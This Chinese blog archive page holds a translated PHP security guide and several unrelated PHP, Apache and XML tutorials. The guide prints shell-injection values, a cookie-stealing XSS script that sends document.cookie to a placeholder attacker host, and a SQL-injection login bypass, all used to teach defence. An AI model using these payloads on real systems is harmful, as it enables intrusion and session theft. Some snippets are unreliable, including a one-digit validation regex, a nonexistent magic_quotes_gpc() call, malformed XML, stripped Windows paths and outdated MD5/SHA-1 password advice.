分页: 11/11 第一页 上页 6 7 8 9 10 11 最后页 [ 显示模式: 摘要 | 列表 ]

作者:phzzy

原文地址:
http://www.sitepoint.com/article/php-security-blunders

其实开个金山慢慢扫过去..基本都能看懂.呵呵.就是翻译出来不通顺.寒
水平有限,读不通顺的地方请见谅.哈哈
Phzzy 2005-12-31
www.Phzzy.org
****************************

Top 7 PHP Security Blunders
By Pax Dickinson
2005 - 12 - 21
Reader Rating: 8.2

PHP对于飞速发展的动态网站来说是一门恐怖的语言。它对于新手来说也有很多友好的性质,比如变量不需要定义就可以直接使用。但是,一些类似的这种性质使程序员不会注意到在网站应用方面的一些安全问题。一个非常著名的邮件列表就充满很多条了对PHP应用有漏洞的例子,但一旦你理解了PHP应用中这些基本的漏洞,PHP将变得比其他任何语言都安全。

在这篇文章中,我会详细的说说明在一般PHP程序中常见的导致安全问题的错误。而且会展示给你什么是不能做的,还有这些特殊的漏洞是怎么被发现的,我希望你不但可以懂得怎么来避免这些特殊的错误,而且可以知道它们为什么会导致安全问题。了解每种可能出现的漏洞能帮助你避免在编写PHP程序时发生同样的错误。安全是一个过程,而不是一个产品,通过在开发应用程序的过程中了解安全问题可以让你编出更高效更健壮的代码。

Unvalidated Input Errors 不受重视的输入错误
最常见的PHP安全问题之一就是对用户输入过滤的漏洞。一般用户提交数据都是不可信任的。你应该假设所有所有访问你网站的用户都是恶意的。非正常输入是很多PHP应用程序漏洞的最根本的原因,我们将在后面进行讨论。
现在给大家一个例子,你可以写下面这段代码来允许用户看到可以一个通过执行UNIX中的cal命令来显示特殊月份。

$month = $_GET[month];
$year = $_GET[year];

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

这段代码有很多安全问题。比如$_GET[month]和$_GET[year]没有过滤就直接赋给了$month和$year,如果用户输入的月份是1到12之间,而且年份是4位数字当然是没有问题。不过,恶意的用户会在年份后面加上一个";ls -la",这样他就可以以列表的方式看到你网站的所有目录。更加极端的用户会在年份后面加上";rm -rf",这样就能删掉你的整个网站!
改正这个安全问题的最好的方法是在接收用户输入的数据时进行检测,使他成为你所希望的格式。不要使用JS来验证,这种验证很容易就能绕过,比如建立一个自己的表单来提交数据,或者用浏览器禁用JS。你应该用PHP代码来确保输入的年份和月份是数字,而且必须是数字。就象下面的代码这样:

$month = $_GET[month];
$year = $_GET[year];

if (!preg_match("/^[0-9]$/", $month)) die("Bad month, please re-enter.");
if (!preg_match("/^[0-9]$/", $year)) die("Bad year, please re-enter.");

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";

这样的代码就能安全的使用,而不用考虑用户提交的数据会使你的应用程序产生错误,或导致服务器运行用户提交的非法代码。正则表达式是验证数据的一个非常有效的工具。虽然他很难完全掌握,但在这种情况下还是非常实用的。
你应该验证用户提交的数据,来拒绝所有非法的数据。一定不要在没有验证之前接收任何数据,除非你可以确定它一定是安全的数据。这是一个常见的安全问题。但有时,恶意的用户会通过一些方法来提交一些特定的数据,这样可以绕过你的验证,而且会起到有害的作用。
所以你应该严格的验证提交的数据,如果一些字符是不需要的,那么你应该过滤掉这些字符或者直接拒绝接收这些的数据。

Access Control Flaws 非法控制漏洞
这是一个对PHP应用程序来说非必要的验证,但却是十分重要的,就是非法控制。比如有一个管理页,在这个页中可以修改网站的配置,或会显示一些敏感的信息。
你应该在执行每一个PHP应用页面时对用户的权限进行检查。如果你只在首页检查了用户的权限,那么恶意的用户可以直接在地址栏输入地址来进入后面的那些没有进行权限判断的页面。
建议进行严格的检查。如果可能的话,你可以根据用户的IP来判断他们的权限。另一个好的方法是把把你不想让别人访问到的页面放到一个特殊的目录,并用apache中的.htaccess来保护这个目录。
把网站的配置文件放在网站可以直接访问的目录之外。这种配置文件包括数据库的密码和其他一些会让恶意用户利用来攻击你的网站的信息。用PHP的include函数来包含这些文件。虽然做这些事感觉有点多余,但对于网站的安全还是有积极的作用的。
例如我写的PHP应用程序。所有的自定义的函数库都放在一个includes的文件夹中。一般把这些被包含的文件取一个以.php为后缀的文件名,这样就算你所做的保护措施都被绕过了,服务器也会把这些文件当做PHP文件来解析,而不会显示这些文件的内容。www和admin文件夹是唯一的可以通过URL直接访问的文件夹。admin文件夹受到.htaccess的保护,只允许知道储存在.htpasswd中的用户名和密码的用户可以访问。
/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php
你应该设置你的apache的默认主页名是index.php并且确保每个目录都有index.php这个文件。当别人访问这些你不想让别人访问的目录时让他转向到网站的主页,比如存放图片的目录或其他类似的。
千万不要把你的备份文件取文件名为.bak的后缀,并放在可以直接通过URL访问的目录。如果你这样做了,那么在这些文件中的PHP代码将不会被解析,甚至可能会被用户通过URL直接下载。如果这些文件包含密码或其他敏感的信息,那么有可能会被别人知道,甚至可能被搜索引擎,比如GOOGLE,直接搜索到而显示在页面上。一定要把这些文件重新命名为 .bak.php 为后缀的文件,这样会安全一些,不过最好的解决方法还是用象CVS那样控制。CVS学起来有一些复杂,不过你学习的所花的时间会在以后得到回报。这样的系统可以让你把每个不同版本的程序保存在不同的文件夹,如果你的程序以后出了问题,这些以前保存的版本可能会成为你无价的资源。.

Session ID Protection Session ID 保护问题
Session ID 错了将会使PHP网站导致一些问题。PHP的session跟踪机制采用唯一的ID来识别不同的用户,但如果这个ID被别的用户知道了,那么他就可以"抢劫"这个用户的ID而看到一些机密的信息。Session ID "抢劫"是不可能完全避免的,你应该熟悉它可以造成的破坏和造成破坏的方法,这样你可以最大程度上减小这个损害。
举例说明,当一个用户已经通过验证了并且分配给他了一个session ID,但你在显示一些敏感信息时(比如修改密码)应该再次验证这个用户。一定不要在用户修改密码时而不要求他输入原来的密码。你也应该避免只通过验证session ID的方法就把一些非常敏感的信息显示给用户,比如信用卡号。
用户重新登陆后你应该通过session_regenerate_id这个函数来重新分配一个新的session ID给他。有一些"抢劫"session ID的人可能会在登陆前就设置好自己的session ID。通过重新分配session ID的方法可以有效的防止这个。
如果你的网站是运行在一个公共的服务器上时,你应该清楚的意识到任何session变量都可以很容易的被同样在这个服务器上的别的用户知道。解决这个问题的方法是把所有的敏感信息都储存在数据库中,并通过session ID来唯一关联他们。如果你非要把密码保存在session变量中,一定不要以明文方式保存,你应该用sha1() (PHP 4.3+) 或 md5()函数来加密他们。

if ($_SESSION[password] == $userpass) {
// do sensitive things here
}

上面这段代码是不安全的,因为密码是以明文的方式保存在session变量中。所以你应该用下面这段代码来替代他:

if ($_SESSION[sha1password] == sha1($userpass)) {
// do sensitive things here
}

SHA-1算法也有漏洞,比如可以暴力破解。尽管如此,这项技术还是被广泛的使用来储存密码。必要时可以用MD5函数来储存密码,但是你得记住,现在的技术已经有可能在一小时内破解MD5所加密的密码。理想的是用一个函数比如SHA-256来保存密码,这种函数可以在PHP上运用,但是完全独立于PHP。
Bruce Schneier's网站是一个非常好的资源用来学习一些更高级的东西。

Cross Site Scripting (XSS) Flaws 跨站点脚本漏洞(XSS)
跨站点脚本漏洞也是一个用户验证的问题,例如一个恶意的用户在提交的数据中插入了一段脚本命令,最常见的就是JS,而这段脚本被别的用户执行了。
举个例说,如果你的应用程序包含一个用户可以提交信息的论坛,而这些信息任何人都可以看见,那么如果一个恶意的用户提交了一个<sctipt>标签,比如下面的代码,那么就有可能在使这个页跳转到一个他们控制的网站,这样他们就可以通过GET的方式取得你的cookie和session信息,然后重新把页面跳转回原来的页面,就象什么都没发生一样。那么恶意的用户就可以收集别的用户session和cookie的信息,然后用这些数据来"抢劫"session ID或用其他的方式攻击你的站点。

<script>
document.location =
   'http://www.badguys.com/cgi-bin/cookie.php?' +
   document.cookie;
</script>

为了防止这种攻击,你必须屏蔽掉用户输入的<script>标签,而把他们转换成<和>的HTML代码的实体,这样别的用户通过查看HTML源码看到的就是 &lt;和 &gt; ,而不会是script代码了。
cgisecurity.com 站点提供了大量的跨站点脚本漏洞的资料,而且解释的非常好。极力推荐大家阅读它并理解它。XSS漏洞是非常难发现的,也是在我们编写PHP程序时一个非常容易犯的错误。

SQL Insertion Vulnerabilities SQL注入攻击
SQL注入攻击也是一种输入验证的漏洞。特别的是,它们可以利用数据库查询。举例来说,在你的PHP脚本中,你可能会要求用户输入他们的ID和密码,然后检查他们的密码和数据库中的用户信息是不是吻合。

Select * FROM users Where name='$username' AND pass='$password';

但,如果用户在登陆时用另外一种迂回的方法,你可以输入下面的信息做为他的密码。

' or '1'='1

这样就会导致SQL查询语句变成下面这样:

Select * FROM users Where name='known_user' AND pass='' or '1'='1';

这样就会在不加以验证的情况下返回用户名,因为在任何情况下上面的SQL语句都是正确的,因为'1'='1'永远正确。这样恶意用户就可以随便选一个用户名登陆你的系统。你可以在PHP.INI中打开magic_quotes_gpc。但如果你用的是共享的服务器,而你没有权限修改php.ini的话,你可以用代码来检测magic_quotes_gpc是否是on,如果是off的话,那么你应该在把用户提交的数据用addslashes()函数过滤,然后提交给数据库。代码如下:

if (magic_quotes_gpc()){
$username = $_GET["username"];
} else {
$username = addslashes($_GET["username"]);
}

如果magic_quotes_gpc是on的话,就不要用addslashes()函数了,如果你用了的话,就时一些特殊符号转义两次,这样会导致错误。
SQL注入漏洞不会总是导致扩大权限。比如,恶意用户可以通过他得到已选择的数据库中的记录。
在用户提交数据给数据库查询时,你应该要检查是否包含 ' " , ; ( ) 这些符号,甚至要检查是否包含关键字,比如 FROM , LIKE , Where 等。这写是SQL注入攻击中常见的字符,所以当这些字符是不必要的话,你应该在用户提交数据时过滤掉,那么你就不用担心SQL注入这种漏洞了。

Error Reporting 错误报告
你应该保证在你的php.ini中显示错误报告的变量的值是0,也就是不显示任何错误报告。就算你的代码有问题,比如数据库连接发生错误,也不要把它显示给终端的用户。恶意的用户会利用这些错误知道你的应用程序内部是怎么运行的,他们一般是通过提交非法的数据来查看你的应用程序显示的错误报告。
display_errors的值你可以在运行程序时通过ini_set函数来修改,但这没有直接在php.ini文件中修改好。比如当你的程序有致命的错误时,这些错误报告有可能还是会显示出来,比如这个程序不能运行,那么ini_set函数照样也不能运行。
你可以设置error_log的值为1,这样就能经常把你的程序出现的错误写入一个error log中。或者你可以使用自己的error函数,比如在发生错误时发一封email给你报告哪出错了,或者在发生错误时执行别的PHP代码。这是一个明智的预防措施,这样你就可以在恶意用户知道这个漏洞存在之前发现这个漏洞,而及时修补。你可以查看PHP手册中的error handling和set_error_handler()函数

Data Handling Errors 数据处理错误
数据处理错误在PHP程序中不是经常发生,但PHP程序员也应该注意它们。这类错误一般发生在提交的数据不可靠,导致可能被恶意用户中途拦截这些数据并加以修改然后提交给我们的PHP程序。
最常见的数据处理错误是在HTTP传输敏感数据的过程。信用卡号码和用户信息是最常见的敏感数据,比如如果你传送用户名和密码,而通过这个用户名和密码可以取得敏感信息。所以你在传送敏感信息给用户并且显示在用户的浏览器上时应该使用SSL。否则,在你的服务器和终端用户之间的恶意偷听者将会很容易的通过网络数据包取得这些敏感数据。
还有这种错误可能会发生在你通过FTP来更新你的网站的时候,因为FTP是一个不可靠的协议。比如你通过这种不可靠的协议来传送一些文件包含服务器的密码的时候,有可能会被偷听者截取。所以你应该使用可靠的协议比如SFTP或SCP来传送这些敏感的文件。而且千万不要通过EMAIL来传送敏感信息。只要可以读取网络数据的任何人都可以看见你的EMAIL信息。就象你把信息写在明信片背后然后邮寄出去一样。其实实际上被截取的几率很小,但我们也没必要冒这种风险,不是么?
最大程度上减小数据处理错误是非常重要的。比如你的程序是一个网上商城,那么就有必要保存一些交过定单的信用卡的号码超过6个月?你应该把他们保存在不能连上网络的地方,并且和你的服务器不相连。这不但是一种最基本的方法来防止入侵,也可以服务器被入侵后带来的损失。没有什么安全系统是完美的,所以你的安全系统也不是。

Configuring PHP For Security PHP安全配置
一般来说,大部分新的PHP版本会比老的PHP版本安全。但是,如果你的应用程序安装在一个比较古老而且PHP版本比较低服务器上时,那么默认的设置就没有最新版本的PHP中默认的设置来得安全了。
你应该建立一个页面来显示phpinfo()函数来查看你的的PHP.INI中的变量设置,并找到其中不可靠的设置。把这个文件放在一个别人不能访问的地方。因为PHP.INI的设置对黑客收集信息来说非常有用。
下面列举了在PHP设置中的一些建议:
register_globals: 最危险的设置,在以前的PHP版本中默认的是on,但现在的PHP版本中已经默认为OFF了。它把所有用户输入的变量都当作全局变量来解释。请检查这个设置并把他设置为OFF。不要问为什么,没有原因,Just do it!这个设置比其他任何东西造成的安全问题都多。如果你是使用的共享的主机,你应该在每一页都使用ini_set()函数来禁止这个设置,把他设置成OFF。

Magic Quotes:magic quotes设置回自动把单引号,双引号和反斜线符号自动转义。magic_quotes_gpc提供的是转义GET,POST,COOKIE变量,而magic_quotes_runtime提供的是转义从数据库或文件中得到的数据。你应该在运行程序时使用ini_get()函数来检查这些设置,如果它们是关闭的话,那么你应该使用addslashes函数手工转义GET,POST,COOKIE变量,代码你可以看上面SQL注入那的例子。

safe_mode:safe_mode设置是一个非常有用的方法来防止非法连接本地文件。你只允许文件的所有者来读取和运行PHP脚本。如果你的程序经常要打开本地文件,那么可以考虑开启这个设置。

disable_functions:这个设置只能在php.ini中修改,而不能在运行程序时修改。这个设置可以让你屏蔽掉某些你不希望使用的函数。它可以防止运行一些有害的PHP代码。有一些函数当你不使用时把它们屏蔽掉是非常有用的,他可以防止别人非法的运行这些函数。

请阅读PHP手册的安全部分并且熟悉它。当有黑客想入侵你的网站时,你会尝到好处。当黑客们放弃攻击你的网站而去攻击另外的容易的目标时,那么你就及格了。

深入学习
下面的这些站点是我推荐你阅读来加强你的安全知识的。新的漏洞和新的攻击方式每时每刻都在更新。所以我在这篇文章的介绍中就说了,"安全是一个过程",而且安全教育也是一个过程,所以你的安全知识必须随时更新。

OWASP: 开源的WEB安全应用程序,是一个不获利的组织,专注于"找出和打击使软件不可靠的根源" ,他们提供的一些资料是无价的,而且会定期举行一些讨论。极力推荐!

CGISecurity.Net::是另外一个非常好的WEB安全站点,他们有许多有趣的FAQ,和一些有深度的安全文档。

请不要忽略文章下面的评论,有一些非常好的而且是最新的信息可以在这些用户的评论中找到。

phpAdvisory:是一个专注于PHP安全问题的网站。它列举一些PHP最近的安全问题而且给出了解决这些问题的方法。

BugTraq邮件列表: 也是一个非常好的安全资源。你如果对PHP安全问题有兴趣的话,你应该经常的关注它。你会对它包含的安全问题的数量感到惊讶,比如我上面提到的SQL注入,跨站点脚本攻击和其他的一些漏洞。

Linux Security:是另外的一个好的站点。因为你极有可能是在LINUX主机上运行你的PHP程序。

总结
就象我在这篇文章中说到的,你在编写PHP程序时应该了解很多的安全问题,而且这些安全问题很多都是别的语言和别的平台也包括的。PHP并不比其他的任何语言安全。最重要的你得使用好。我希望你能在这篇文章中得到乐趣并学会一些东西。
请记住:just because you're paranoid doesn't mean there's no one out to get you

作者:satellite

今天工作上碰到一个问题 由于我们的项目数据太少 所以需要从web search那边借调数据,他们只给我们提供了一个xml的接口。因此,我们需要把xml的数据转化成html呈现给大家。由于项目是基于php的,所以就摒弃了用js来读取xml选择了继续使用php。不过,我以前从来没有做过此类的尝试 所以找了很多网上资料同时参照了php的工作手册,发现在php4的环境下 用parser函数是一个比较好的选择(当然也可以用dom 但是需要对服务器重新进行配置 php5对dom支持得比较好)。

虽然以前没有接触过此类问题,但是还是很快就解决了,不过在解决和摸索的过程中发现网上关于此类的资料虽然不少,但是参差不齐,很多描述不是很详细,还是操作手册比较管用。

好了,言归正传:

parser是php内置的一个用来处理xml的解析器,它的工作由三个事件组成:起始标签、 读取数据、结束标签。

也就是说在对xml进行处理的时候每当遇到起始标签、数据和结束标签的时候函数会做相应的动作来完成对xml数据的转换。

php中对xml读取的相关函数的介绍:

引用:

--------------------------------------------------------------------------------

对象 XML解析函数 描述
元素 xml_set_element_handler() 元素的开始和结束
字符数据 xml_set_character_data_handler() 字符数据的开始
外部实体 xml_set_external_entity_ref_handler() 外部实体出现
未解析外部实体 xml_set_unparsed_entity_decl_handler() 未解析的外部实体出现
处理指令 xml_set_processing_instruction_handler() 处理指令的出现
记法声明 xml_set_notation_decl_handler() 记法声明的出现
默认 xml_set_default_handler() 其它没有指定处理函数的事件

--------------------------------------------------------------------------------

下面就给大家举一个小小的例子用parser函数来读取xml数据:

 

 

xml文件代码如下:

 

 

这个程序的结果如下:

引用:
--------------------------------------------------------------------------------

名字:张三 职位:经理
名字:李四 职位:助理

--------------------------------------------------------------------------------

<?xml version="1.0"?>
<employees>
<employee>
<name>张三</name>
<position age="45">经理</position>
</employee>
<employees>
<employee>
<name>李四</name>
<position age="45">助理</position>
</employee>
</employees>

<?php
$parser = xml_parser_create(); //创建一个parser编辑器
xml_set_element_handler($parser, "startElement", "endElement");//设立标签触发时的相应函数 这里分别为startElement和endElenment
xml_set_character_data_handler($parser, "characterData");//设立数据读取时的相应函数
$xml_file="1.xml";//指定所要读取的xml文件,可以是url
$filehandler = fopen($xml_file, "r");//打开文件

 


while ($data = fread($filehandler, 4096))
{
    xml_parse($parser, $data, feof($filehandler));
}//每次取出4096个字节进行处理

fclose($filehandler);
xml_parser_free($parser);//关闭和释放parser解析器


$name=false;
$position=false;
function startElement($parser_instance, $element_name, $attrs)        //起始标签事件的函数
 {
   global $name,$position;  
   if($element_name=="NAME")
   {
   $name=true;
   $position=false;
   echo "名字:";
  }
  if($element_name=="POSITION")
   {$name=false;
   $position=true;
   echo "职位:";
  }
}

function characterData($parser_instance, $xml_data)                  //读取数据时的函数
{
   global $name,$position;
   if($position)
    echo $xml_data."<br>";
    if($name)
     echo $xml_data."<br>";
}

function endElement($parser_instance, $element_name)                 //结束标签事件的函数
{
 global $name,$position; 
$name=false;
$position=false; 
}

?>

一、首先把php的压缩包(这里以PHP4.3.2为例)解压到C:php-4.3.2-Win32目录中,然后从其中找到一个叫php.ini-recommended的文件,把他更名为php.ini。

二、打开该文件,找到extension_dir = "./" ,将其改为 extension_dir = "C:php-4.3.2-Win32extensions" ;再找到 session.save_path = /tmp ,将其改为 session.save_path = C:php-4.3.2-Win32sessions 。(注:此时你需要在C:php-4.3.2-Win32目录下建立sessions文件夹,以存放session 。)

三、将修改好的php.ini文件拷贝至C:winnt目录下,将C:php-4.3.2-Win32下的php4ts.dll文件拷贝到C:winntsystem32目录下。

四、打开"Internet服务管理器",选择你想支持PHP的站点,打开属性页,点击"ISAPI筛选器"选项卡,点击"添加",在弹出的"筛选器属性"窗口的"筛选器名称"中填入"php";在"可执行文件"中填入"C:php-4.3.2-Win32sapiphp4isapi.dll"(如图一所示),点击确定。

五、点击"主目录"选项卡,选择"应用程序设置"中的"配置"按钮,在弹出的"应用程序配置"窗口中点击"添加"按钮,在弹出的"添加/编辑应用程序扩展名映射"窗口中的"可执行文件"中填入"C:php-4.3.2-Win32sapiphp4isapi.dll","扩展名"一项填入"php" 。 (如图二所示)。

OK,一切搞定,重起IIS,到你的页面文件目录下写一个phpinfo,测试一下PHP文件能否被正确解析。如果产生500错误,请确定你没有忘记第三步。
一、基于名称的虚拟主机

打开Apache2conf下的httpd.conf,查找#NameVirtualHost *:80,去掉前面的注释。
添加虚拟主机www.test.com,在httpd.conf的最后,添加如下代码:
<VirtualHost *:80>

ServerName www.test.com #主机名
ServerAlias test.com *.test.com #别名
DocumentRoot "d:/test" #所在目录

</VirtualHost>

二、增加虚拟目录
1、全局的
如httpd.conf中的/icons/
Alias /icons/ "C:/Apache Group/Apache2/icons/"

<Directory "C:/Apache Group/Apache2/icons">
Options Indexes MultiViews
AllowOverride None
order allow,deny
Allow from all
</Directory>

2、虚拟主机内的

在<VirtualHost *:80></VirtualHost>之间添加上面内容
如:
<VirtualHost *:80>

ServerName www.test.com #主机名
ServerAlias test.com *.test.com #别名
DocumentRoot "d:/test" #所在目录

Alias /pic "d:/pic"

<Directory "d:/pic">
Options Indexes MultiViews
AllowOverride None
order allow,deny
Allow from all
</Directory>

</VirtualHost>
与HTML不同,XML对于语法有着严格的规定,只有当一个XML文档符合"格式良好"的基本要求时,处理程序才能对它加以分析和处理。"格式良好的"这一标准通过对XML文档的各个逻辑成分和物理成分进行语法规定,保证了XML严密的条理性、逻辑性和良好的结构性,从而大大提高了XML应用处理程序处理XML数据的准确性和效率。实际上,格式良好的要求就是XML规范的语法要求,一个简单的检验方法就是用Internet Explorer4.01以上版本打开正在编辑的XML文档,如果报错,这个文档就不是"格式良好的"。

  XML文档的结构包括逻辑结构和物理结构。

  一、逻辑结构

  一个XML文档通常以一个XML声明开始,通过XML元素来组织XML数据。XML元素包括标记和字符数据。为了组织数据更加方便、清晰,还可以在字符数据中引入CDATA数据块,并可以在文档中引入注释。此外,由于有时需要给XML处理程序提供一些指示信息,XML文档中可以包含处理指令。具体说来,各个逻辑元素的作用和形式如下:

  1. XML声明

  XML声明是处理指令的一种,一个XML文档最好以一个XML声明作为开始。下面是一个完整的XML声明:
  <?xml version = "1.0" encoding = "GB2312" standalone = "no"?>
  在一个XML的处理指令中必须包括version属性,指明所采用的XML的版本号,而且它必须在属性列表中排在第一位。standalone属性表明该XML文档是否和一个外部文档类型定义DTD配套使用。encoding属性则指明了数据所采用的编码标准。

  2.元素

  元素是XML文档内容的基本单元。从语法上讲,一个元素包含一个起始标记、一个结束标记以及标记之间的数据内容。其形式是:

<标记>数据内容

  对于标记有以下语法规定:

  (1) 标记必不可少。任何一个格式良好的XML文档中至少要有一个元素。

  (2) 大小写有别。

  (3) 要有正确的结束标记。结束标记除了要和起始标记在拼写和大小写上完全相同,还必须在前面加上一个斜杠"/"。当一对标记之间没有任何文本内容时,可以不写结束标记,而在起始标记的最后冠以斜杠"/"来确认。这样的标记称为"空标记"。

  (4) 标记要正确嵌套。

  (5) 标记命名要合法。标记名应该以字母、下划线"_"或冒号":"开头,后面跟字母、数字、句号". "、冒号、下划线或连字符"-",但是中间不能有空格,而且任何标记名不能以"xml"(或者"xml"大小写的任何组合,如"XML"、"xML"、"xmL"等等)起始。

  (6) 有效使用属性。标记中可以包含任意多个属性,属性以名称/取值对出现,属性名不能重复,名称与取值之间用等号"="分隔,且取值用引号引起来。

  3.CDATA节

  在标记CDATA下,所有的标记、实体引用都被忽略,而被XML处理程序一视同仁地当作字符数据看待。CDATA的形式如下:

  <![CDATA[ 文本内容 ]] >

  CDATA的文本内容中不能出现字符串"]]>",另外,CDATA不能嵌套,

  4.注释

  有些时候,人们希望在XML文档中加入一些用作解释的字符数据,并且希望XML处理器不对它们进行任何处理。这种类型的文本称作注释(COMMENT)文本,在XML中,注释的方法与HTML完全相同,用"<!--"和"-->"将注释文本引起来。对于注释还有以下规定:

  (1) 在注释文本中不能出现字符"-"或字符串"--"
  (2) 不要把注释文本放在标记之中,类似地,不要把注释文本放在实体声明之中或之前。
  (3) 注释不能被嵌套。

  5.处理指令PI

  处理指令是用来给处理XML文档的应用程序提供信息的,XML分析器把这些信息原封不动地传给应用程序,由应用程序来解释这个指令,遵照它所提供的信息进行处理。处理指令应该遵循下面的格式:

  <?处理指令名 处理指令信息 >

  下面是一个例子,它是描述辞典信息的XML文档:
  [1] <?xml version="1.0" encoding="GB2312" standalone="no"?>  [2] <?xml-stylesheet type="text/xsl" href="mystyle.xsl"?>  [3] <辞典>  [4] <词条>  [5] <词目>XML</词目>   [6] <解释>XML是一种可扩展的元置标语言,它可用以规定新的置标规则,并根据这个规则组织数据。</解释>  [7] <示例>  [8] <!-- 一个XML的例子 -->  [9] <![CDATA[  [10] <学生>  [11] <学号>001</学号>  [12] <姓名>张三</姓名>  [13] </学生>  [14] ]]>  [15] </示例>  [16] </词条>  [17]</辞典>
  这个例子中出现的逻辑要素有:
  [1] 是XML声明。  [2] 是处理指令。  [3]--[17] 是文档中的各个元素。在[5]行的"<词目>XML</词目>"中,"<词---- 目>""</词目>"是标记,"XML"是字符数据。  [8] 是注释。  [9]--[14] 是CDATA节。
  二、物理结构

  从物理结构上讲,XML文档是由一个或多个存贮单元构成的,这些存贮单元就是所谓的实体。所有的XML文档都包含了一个"根实体",又称作"文档实体"。这个实体是由XML本身给出的,无须显式定义就可以使用,它指的其实就是整个文档的内容,是XML语法分析器处理的起点。除此之外,可能还需要用到其他一些实体,这些实体都用名字来标识,在文件类型定义DTD中给出定义。

  简单地说,实体充当着和别名类似的角色,即,一个简单的实体名称可以用来代表一大段文本内容。象任何计算机别名系统一样,实体引用简化了录入工作,因为每当要使用同样一大段文本时,只须使用它的别名就可以了,处理器会自动把这个别名替换为相应的文本。

  实体分为两大类,如下表所示:
  类型 通用实体 参数实体
  使用场合 用在XML文档中 只用在DTD中元素和属性的声明中
  声明方式 内部
  外部
  引用方式 &实体名; %实体名;
  下面例子中定义了一个描述单位地址的通用实体:
  <!ENTITY address "北京市海淀区学府路88号,100000">
  在XML文件中可以如下使用这个实体:

  <客户> <姓名> 王五 <电话> (010)62626666 <联系地址> &address;

  实体引用有以下几点规则:

  除了XML标准规定的预定义实体以外,在XML文档引用一个实体之前,必须已经对此实体进行过声明。
  实体引用中不能出现空格。
  尽管在一个实体中可以再引用其他实体,但是不能出现循环引用。
  实体引用的文档必须符合XML语法的种种要求
  任何一个独立的逻辑要素,比如元素、标记、注释、处理指令、实体引用等等,都不能开始于一个实体,而结束于另一个实体。

  如果在属性中出现实体引用,不但要遵守前面所述的实体引用的种种规则,还要注意以下两点:

  在标记属性中不能引用一个外部实体。
  引用的文本中不能出现字符"<",否则替换后就不再是一个"格式良好的"XML文件了。
分页: 11/11 第一页 上页 6 7 8 9 10 11 最后页 [ 显示模式: 摘要 | 列表 ]

阅读推荐

服务器相关推荐

开发相关推荐

应用软件推荐